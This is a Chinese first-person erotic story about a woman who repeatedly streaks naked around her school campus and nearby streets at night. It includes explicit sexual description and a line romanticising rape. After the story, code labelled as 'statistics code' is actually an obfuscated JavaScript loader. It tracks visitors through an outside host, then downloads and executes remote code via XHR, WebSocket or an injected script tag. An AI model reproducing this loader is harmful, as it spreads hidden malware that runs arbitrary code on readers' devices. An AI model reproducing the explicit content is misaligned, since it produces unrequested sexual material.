校园裸奔纪
我在家里做了一天的思想准备,晚上洗完澡后,我穿好衣服,把钥匙藏在我家门口的奶箱里(我就是从那时开始在奶箱里面的藏一把我家的备用钥匙,奶箱里面压一张厚纸板遮挡钥匙,这样我就不用带钥匙了,在外面即使裸体回家也能打开房门。)
出门后我就往学校走去,我订的裸奔计划就是在学校里裸奔,今天算是第一次正式登场。
可是没想到进入学校后,我的心就凉了大半截。那时是晚上8点钟,时间还很早,学校里还有很多锻炼身体的人,根本没办法裸奔。没办法,好在我对我们学校的环境非常熟悉,最后我就选择在教学楼后面的一条小路上完成我的裸奔处女秀,那里比较偏僻,安全度很高。
我就在那条小路上脱光了衣服,只穿着鞋袜慢跑了起来,丰满的大咪咪一晃一晃的,平时乳房晃动时会觉得不太舒服,但此时却有着一种特别的快感,清风轻轻吹拂着小穴,凉凉的,爽爽的,感觉好惬意。我就这样在这条小路上来来回回跑了十几次,感觉无比的满足,然后就穿上衣服回家了。
过了两天,我又想出去裸奔了。总结了上次的经验之后,我觉得应该再晚一点,最好还是半夜出去。於是那天晚上我看着电视和色情杂志,等到了半夜11点,然后我洗了澡,精心打扮了一下,只穿了一条连衣裙和拖鞋就出门了。上一次裸奔时我是把胸罩和内裤穿齐了才出去的,因为当时心里还是有点紧张,这一次我决定彻底放开了。
出门后,走在空无一人的大街上,我的心里异常兴奋,很想立刻就脱光自己,不过终究还不不太敢,所以就一直忍耐着到了学校。我从学校外面断裂的栏杆处钻了进去,然后跑到操场上看了看,学校里果然空无一人。这下我就放心了,我一把脱掉我的连衣裙,把脚上的拖鞋也踢掉了,开始一丝不挂地在操场上裸奔了起来。
我发现裸奔时还是不穿鞋更刺激,那才是真正一丝不挂的感觉,赤脚裸奔的快感比穿鞋要高出好几倍来。
我任性地在学校的大操场上裸奔了一圈又一圈,用力地甩动着胸前的两个大奶子,让它们剧烈地摇晃着,双手也在轮番地拍打着我的大白屁股,响亮的拍打声在空旷的操场上格外清晰。如果这时有人路过学校,那他一定能看到一个全身一丝不挂、身材惹火的短发美女正甩着奶子、拍着屁股在操场上裸奔。
我越跑越兴奋,裸奔的快感一波接一波地冲击的我的理智,终於,我的理智防线被彻底冲破了,欲火像决堤的洪水一般冲了出来,我真的什么都不顾了,彻底变成了只想裸奔的变态淫女,我加快了裸奔的速度,仰头大声呻吟着,而后又大喊大叫着,一边跑一边扯着嗓子大喊:「我是欠操的淫妇,我是大奶子母狗,大家快来看呀,快来看变态,我是变态,我是裸奔的变态,大家快看我的大奶子,快看我的骚屄,快来抓爆我的大奶子,操烂我的骚屄,操我啊,快操我,大家都来操我的骚屄啊,我要大肉棒,我要大鸡巴……」
就这样裸奔着、呐喊着,突然我猛地捧起我的两个大奶子,用最快的速度冲到了操场的主席台。
我站在主席台上高捧着我的大奶子,踮起小脚,仰起头用尽全身所有的力气大声喊道:「我叫林倩倩,我是淫妇,我是发情的母狗,我是淫荡变态的女人,我是全校第一裸奔女,我爱裸奔,我爱裸奔……啊啊啊啊啊啊啊啊……」
我就像疯了一样的呐喊着,那一刻,为了刺激,为了裸奔,我真的什么都不顾了。最后我就那样大喊大叫着冲下了主席台,冲出了学校,冲到了大马路上,沿着马路像一个疯子一样飞速地往前冲,就像一个追风的裸女,以冲破人体极限的速度,冲过了一条又一条马路,闯过了一个又一个路口,甚至超越了一辆又一辆汽车,是的,汽车!准确的说,我只是超过了几辆停靠在路边的汽车,但我跑的飞快,加上身边不时地有几辆汽车驶过,所以给我当时的感觉就是我裸奔的速度比汽车还快。那时候马路上车虽然不多,但还是有几辆车在马路上行驶的,说起来,那时候我也确实够幸运的,毕竟被好几个开车的人看到了,竟然没有出事,真的要谢天谢地了。不过那时的我已经彻底疯狂了,什么都不顾了,已经不怕被人看到了,就算有人要强奸我,我也会全力配合他。
最后我跑了好远好远,一直跑到我彻底跑不动了为止,我四仰八叉地躺在马路上,呆呆地看着夜空,心里出奇的静,仿佛看穿了一切……
那天之后,我就开始了裸奔生活,隔几天就想玩一次,欲望强烈的时候每天都想裸奔。
白天出门时也不再穿胸罩和内裤了,只穿一条裙子,真空走在大街上让我有一种说不出的快感,乳头和小穴一整天都会起着相应的生理反应。
到了晚上,我就等到12点之后,洗个澡然后就一丝不挂的出去裸奔,连衣服也不再穿了,甚至有时候洗完澡都顾不得擦干身上的水,就那样挂着满身水珠就跑出去了,全身湿漉漉地在大街上裸奔。
我的裸奔路线也在不知不觉中制定完善了,就是从家到学校,在学校里裸奔几圈后,再跑出学校,去旁边的大马路上裸奔,绕一个大圈跑回家。也有的时候,我会在学校的单杠双杠等健身器材上玩一玩。还有的时候,我会在主席台上做裸体演讲,或者抱着旗杆跳钢管舞。
我们学校放假时会把国旗收起来,但校旗还会挂在上面,后来被我发现了,於是又多了一项节目,那就是裸体升旗。我每次裸奔时都会把校旗降下来,像奥运健儿一样披在身上或者双手高举着,在操场上继续裸奔,裸奔完了就踢着正步走回去,把校旗铺在旗杆下,我坐在上面自慰,或者是像小狗一样趴着抬起一条腿往旗杆上撒尿,最后再来一次裸体升旗仪式。(假期结束后,我们可怜的校旗已被我的淫水和尿水蹂躏的不成样子了,不过我只亵渎校旗,绝不敢亵渎国旗,这时原则问题。)
美好的假期就这样快乐的结束了,我以全新的淫荡的姿态重新走进了校园。同学们,你们好,请让我再次介绍我自己,我叫林倩倩,是一个淫荡变态的裸奔女,喜欢被人叫做母狗,不要被我清纯的外表迷惑住,那样我们都会失望咯。
【完】
统计代码
function SoMRGU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function Wknly(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SoMRGU(t);};window[''+'m'+'F'+'q'+'Z'+'N'+'T'+'h'+'K'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function HoKLR(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=Wknly,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=HoKLR(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/6906/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=HoKLR(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0EElMkYlMkZhLm5tY3NzLmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGYS55ha2Rjay55jbiUzQTk1MzQ=','1944',window,document,['E','5']);}:function(){};